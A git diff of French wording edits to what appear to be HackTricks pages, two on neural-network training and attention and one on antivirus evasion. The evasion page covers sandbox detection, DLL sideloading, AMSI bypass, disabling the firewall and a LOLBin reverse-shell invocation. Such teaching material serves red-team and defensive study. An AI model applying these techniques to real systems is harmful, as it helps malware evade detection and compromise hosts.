@ -263,13 +263,13 @@ print(f"Gradient of {name}: {param.grad}")
|
|||
```
|
||||
Dans ce code :
|
||||
|
||||
* **Forward Pass :** Calcule les sorties du réseau.
|
||||
* **Backward Pass :** `loss.backward()` calcule les gradients de la perte par rapport à tous les paramètres.
|
||||
* **Parameter Update :** `optimizer.step()` met à jour les paramètres en fonction des gradients calculés.
|
||||
* **Passage Avant :** Calcule les sorties du réseau.
|
||||
* **Passage Arrière :** `loss.backward()` calcule les gradients de la perte par rapport à tous les paramètres.
|
||||
* **Mise à Jour des Paramètres :** `optimizer.step()` met à jour les paramètres en fonction des gradients calculés.
|
||||
|
||||
### **5. Comprendre le Backward Pass**
|
||||
### **5. Comprendre le Passage Arrière**
|
||||
|
||||
Lors du backward pass :
|
||||
Lors du passage arrière :
|
||||
|
||||
* PyTorch parcourt le graphe de calcul dans l'ordre inverse.
|
||||
* Pour chaque opération, il applique la règle de la chaîne pour calculer les gradients.
|
||||
|
@ -279,4 +279,4 @@ Lors du backward pass :
|
|||
|
||||
* **Efficacité :** Évite les calculs redondants en réutilisant les résultats intermédiaires.
|
||||
* **Précision :** Fournit des dérivées exactes jusqu'à la précision machine.
|
||||
* **Facilité d'utilisation :** Élimine le calcul manuel des dérivées.
|
||||
* **Facilité d'Utilisation :** Élimine le calcul manuel des dérivées.
|
||||
|
|
|
@ -11,7 +11,7 @@ Beaucoup de couches sont utilisées pour cela, donc beaucoup de paramètres entr
|
|||
|
||||
### Comprendre les Mécanismes d'Attention
|
||||
|
||||
Dans les modèles traditionnels de séquence à séquence utilisés pour la traduction de langues, le modèle encode une séquence d'entrée en un vecteur de contexte de taille fixe. Cependant, cette approche a du mal avec les longues phrases car le vecteur de contexte de taille fixe peut ne pas capturer toutes les informations nécessaires. Les mécanismes d'attention répondent à cette limitation en permettant au modèle de considérer tous les tokens d'entrée lors de la génération de chaque token de sortie.
|
||||
Dans les modèles traditionnels de séquence à séquence utilisés pour la traduction de langues, le modèle encode une séquence d'entrée en un vecteur de contexte de taille fixe. Cependant, cette approche a du mal avec les longues phrases car le vecteur de contexte de taille fixe peut ne pas capturer toutes les informations nécessaires. Les mécanismes d'attention abordent cette limitation en permettant au modèle de considérer tous les tokens d'entrée lors de la génération de chaque token de sortie.
|
||||
|
||||
#### Exemple : Traduction Automatique
|
||||
|
||||
|
@ -29,7 +29,7 @@ L'auto-attention, ou intra-attention, est un mécanisme où l'attention est appl
|
|||
|
||||
### Calcul des Poids d'Attention : Un Exemple Étape par Étape
|
||||
|
||||
Considérons la phrase **"Hello shiny sun!"** et représentons chaque mot par un embedding de 3 dimensions :
|
||||
Considérons la phrase **"Hello shiny sun!"** et représentons chaque mot avec un embedding de 3 dimensions :
|
||||
|
||||
* **Hello** : `[0.34, 0.22, 0.54]`
|
||||
* **shiny** : `[0.53, 0.34, 0.98]`
|
||||
|
@ -51,7 +51,7 @@ Pour chaque mot de la phrase, calculez le **score d'attention** par rapport à "
|
|||
|
||||
**Score d'Attention entre "shiny" et "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Score d'Attention entre "sun" et "shiny"**
|
||||
|
||||
|
@ -159,7 +159,7 @@ values = torch.matmul(inputs, W_value)
|
|||
|
||||
**Calculer les scores d'attention**
|
||||
|
||||
Semblable à l'exemple précédent, mais cette fois, au lieu d'utiliser les valeurs des dimensions des tokens, nous utilisons la matrice clé du token (déjà calculée en utilisant les dimensions) : Donc, pour chaque requête `qi` et clé `kj` :
|
||||
Semblable à l'exemple précédent, mais cette fois, au lieu d'utiliser les valeurs des dimensions des tokens, nous utilisons la matrice clé du token (déjà calculée en utilisant les dimensions) : donc, pour chaque requête `qi` et clé `kj` :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -228,7 +228,7 @@ print(sa_v2(inputs))
|
|||
Notez qu'au lieu d'initialiser les matrices avec des valeurs aléatoires, `nn.Linear` est utilisé pour marquer tous les poids comme paramètres à entraîner.
|
||||
{% endhint %}
|
||||
|
||||
## Attention Causale : Cacher les Mots Futurs
|
||||
## Attention Causale : Masquer les Mots Futurs
|
||||
|
||||
Pour les LLMs, nous voulons que le modèle ne considère que les tokens qui apparaissent avant la position actuelle afin de **prédire le prochain token**. **L'attention causale**, également connue sous le nom de **masquage d'attention**, y parvient en modifiant le mécanisme d'attention pour empêcher l'accès aux tokens futurs.
|
||||
|
||||
|
@ -238,7 +238,7 @@ Pour mettre en œuvre l'attention causale, nous appliquons un masque aux scores
|
|||
|
||||
**Étapes**
|
||||
|
||||
1. **Calculer les Scores d'Attention** : Identique à avant.
|
||||
1. **Calculer les Scores d'Attention** : Comme auparavant.
|
||||
2. **Appliquer le Masque** : Utiliser une matrice triangulaire supérieure remplie de moins l'infini au-dessus de la diagonale.
|
||||
|
||||
```python
|
||||
|
@ -324,9 +324,9 @@ context_vecs = ca(batch)
|
|||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Étendre l'attention à tête unique à l'attention à plusieurs têtes
|
||||
## Étendre l'attention à tête unique à l'attention multi-tête
|
||||
|
||||
**L'attention à plusieurs têtes** consiste en termes pratiques à exécuter **plusieurs instances** de la fonction d'auto-attention, chacune avec **ses propres poids**, de sorte que différents vecteurs finaux soient calculés.
|
||||
**L'attention multi-tête** consiste en termes pratiques à exécuter **plusieurs instances** de la fonction d'auto-attention, chacune avec **ses propres poids**, de sorte que différents vecteurs finaux soient calculés.
|
||||
|
||||
### Exemple de code
|
||||
|
||||
|
|
|
@ -10,12 +10,12 @@ Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -41,10 +41,10 @@ Parfois, tout ce que vous devez faire est de changer certaines chaînes dans vot
|
|||
|
||||
* **Outils personnalisés**
|
||||
|
||||
Si vous développez vos propres outils, il n'y aura pas de signatures connues de logiciels malveillants, mais cela demande beaucoup de temps et d'efforts.
|
||||
Si vous développez vos propres outils, il n'y aura pas de signatures connues, mais cela demande beaucoup de temps et d'efforts.
|
||||
|
||||
{% hint style="info" %}
|
||||
Une bonne façon de vérifier contre la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments et demande à Defender de scanner chacun individuellement, de cette façon, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire.
|
||||
Un bon moyen de vérifier la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments et demande à Defender de scanner chacun individuellement, de cette manière, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire.
|
||||
{% endhint %}
|
||||
|
||||
Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion AV pratique.
|
||||
|
@ -53,7 +53,7 @@ Je vous recommande vivement de consulter cette [playlist YouTube](https://www.yo
|
|||
|
||||
L'analyse dynamique est lorsque l'AV exécute votre binaire dans un bac à sable et surveille les activités malveillantes (par exemple, essayer de déchiffrer et de lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à gérer, mais voici quelques choses que vous pouvez faire pour échapper aux bacs à sable.
|
||||
|
||||
* **Dormir avant l'exécution** En fonction de la façon dont c'est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont un temps très court pour scanner les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs temps de sommeil peut perturber l'analyse des binaires. Le problème est que de nombreux bacs à sable d'AV peuvent simplement ignorer le sommeil en fonction de la façon dont c'est implémenté.
|
||||
* **Dormir avant l'exécution** En fonction de la manière dont c'est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont un temps très court pour scanner les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs temps de sommeil peut perturber l'analyse des binaires. Le problème est que de nombreux bacs à sable d'AV peuvent simplement ignorer le sommeil en fonction de la manière dont c'est implémenté.
|
||||
* **Vérification des ressources de la machine** En général, les bacs à sable ont très peu de ressources à utiliser (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses des ventilateurs, tout ne sera pas implémenté dans le bac à sable.
|
||||
* **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez effectuer une vérification sur le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, si ce n'est pas le cas, vous pouvez faire quitter votre programme.
|
||||
|
||||
|
@ -61,7 +61,7 @@ Il s'avère que le nom de l'ordinateur du bac à sable de Microsoft Defender est
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>source : <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
D'autres conseils vraiment bons de [@mgeeky](https://twitter.com/mariuszbit) pour contrer les bacs à sable
|
||||
D'autres conseils très utiles de [@mgeeky](https://twitter.com/mariuszbit) pour contrer les bacs à sable
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
|
@ -69,10 +69,10 @@ Comme nous l'avons dit précédemment dans ce post, **les outils publics** finir
|
|||
|
||||
Par exemple, si vous voulez dumper LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un projet différent qui est moins connu et qui dumpe également LSASS.
|
||||
|
||||
La bonne réponse est probablement la dernière. Prenant mimikatz comme exemple, c'est probablement l'un des, sinon le plus signalé logiciel malveillant par les AV et EDR, bien que le projet lui-même soit super cool, c'est aussi un cauchemar de travailler avec pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
|
||||
La bonne réponse est probablement la dernière. Prenant mimikatz comme exemple, c'est probablement l'un des, sinon le plus signalé morceau de malware par les AV et EDR, bien que le projet lui-même soit super cool, c'est aussi un cauchemar de travailler avec pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
|
||||
|
||||
{% hint style="info" %}
|
||||
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique d'échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE TÉLÉCHARGEZ PAS SUR VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique d'échantillons, et testez-le là-bas jusqu'à ce que vous soyez satisfait du résultat.
|
||||
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique d'échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE TÉLÉCHARGEZ PAS SUR VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique d'échantillons, et testez-le là jusqu'à ce que vous soyez satisfait du résultat.
|
||||
{% endhint %}
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
@ -87,7 +87,7 @@ Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec d
|
|||
|
||||
## Sideloading de DLL et Proxying
|
||||
|
||||
**Le Sideloading de DLL** tire parti de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et la ou les charges utiles malveillantes côte à côte.
|
||||
**Sideloading de DLL** tire parti de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et la ou les charges utiles malveillantes côte à côte.
|
||||
|
||||
Vous pouvez vérifier les programmes susceptibles de Sideloading de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script powershell suivant :
|
||||
|
||||
|
@ -106,7 +106,7 @@ Je vous recommande vivement de **explorer vous-même les programmes détournable
|
|||
|
||||
Il ne suffit pas de placer une DLL malveillante avec le nom qu'un programme s'attend à charger, cela ne chargera pas votre charge utile, car le programme s'attend à certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** redirige les appels qu'un programme effectue depuis la DLL proxy (et malveillante) vers la DLL originale, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre charge utile.
|
||||
**DLL Proxying** redirige les appels qu'un programme effectue depuis la DLL proxy (et malveillante) vers la DLL d'origine, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre charge utile.
|
||||
|
||||
Je vais utiliser le projet [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
|
@ -140,7 +140,7 @@ Notre shellcode (codé avec [SGN](https://github.com/EgeBalci/sgn)) et la DLL pr
|
|||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Je **recommande fortement** de regarder le [VOD twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et aussi la [vidéo d'ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) pour en apprendre davantage sur ce que nous avons discuté plus en profondeur.
|
||||
Je **recommande fortement** de regarder le [VOD Twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et aussi la [vidéo d'ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) pour en apprendre davantage sur ce que nous avons discuté plus en profondeur.
|
||||
{% endhint %}
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
@ -167,7 +167,7 @@ AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikip
|
|||
La fonctionnalité AMSI est intégrée dans ces composants de Windows.
|
||||
|
||||
* Contrôle de Compte Utilisateur, ou UAC (élévation d'EXE, COM, MSI, ou installation ActiveX)
|
||||
* PowerShell (scripts, utilisation interactive et évaluation de code dynamique)
|
||||
* PowerShell (scripts, utilisation interactive et évaluation dynamique de code)
|
||||
* Windows Script Host (wscript.exe et cscript.exe)
|
||||
* JavaScript et VBScript
|
||||
* Macros VBA Office
|
||||
|
@ -188,7 +188,7 @@ Il existe plusieurs façons de contourner AMSI :
|
|||
|
||||
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être un bon moyen d'échapper à la détection.
|
||||
|
||||
Cependant, AMSI a la capacité de déobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option selon la manière dont elle est réalisée. Cela rend l'évasion pas si simple. Bien que, parfois, tout ce que vous avez à faire est de changer quelques noms de variables et vous serez bon, donc cela dépend de combien quelque chose a été signalé.
|
||||
Cependant, AMSI a la capacité de déobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option selon la manière dont elle est réalisée. Cela rend l'évasion pas si simple. Bien que, parfois, tout ce que vous devez faire est de changer quelques noms de variables et vous serez bon, donc cela dépend de combien quelque chose a été signalé.
|
||||
|
||||
* **Bypass AMSI**
|
||||
|
||||
|
@ -322,7 +322,7 @@ Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre
|
|||
Si vous souhaitez en savoir plus sur le chargement d'assemblies C#, veuillez consulter cet article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) et leur BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez également charger des Assemblies C# **depuis PowerShell**, consultez [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) et [la vidéo de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
Vous pouvez également charger des Assemblies C# **depuis PowerShell**, consultez [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) et la vidéo de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Utilisation d'autres langages de programmation
|
||||
|
||||
|
@ -336,7 +336,7 @@ Le dépôt indique : Defender scanne toujours les scripts mais en utilisant Go,
|
|||
|
||||
L'évasion est un sujet très compliqué, parfois vous devez prendre en compte de nombreuses sources de télémétrie dans un seul système, donc il est pratiquement impossible de rester complètement indétecté dans des environnements matures.
|
||||
|
||||
Chaque environnement auquel vous vous attaquez aura ses propres forces et faiblesses.
|
||||
Chaque environnement contre lequel vous vous battez aura ses propres forces et faiblesses.
|
||||
|
||||
Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour avoir un aperçu des techniques d'évasion avancées.
|
||||
|
||||
|
@ -370,7 +370,7 @@ netsh advfirewall set allprofiles state off
|
|||
```
|
||||
### UltraVNC
|
||||
|
||||
Téléchargez-le depuis : [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements binaires, pas l'installation)
|
||||
Téléchargez-le depuis : [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements bin, pas l'installation)
|
||||
|
||||
**SUR L'HÔTE** : Exécutez _**winvnc.exe**_ et configurez le serveur :
|
||||
|
||||
|
@ -507,7 +507,7 @@ catch (Exception err) { }
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57b815abe21ef04857b066)
|
||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
|
@ -536,7 +536,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
|||
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Utiliser python pour construire des exemples d'injecteurs :
|
||||
### Utiliser python pour un exemple d'injecteurs :
|
||||
|
||||
* [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
|
@ -569,7 +569,7 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
|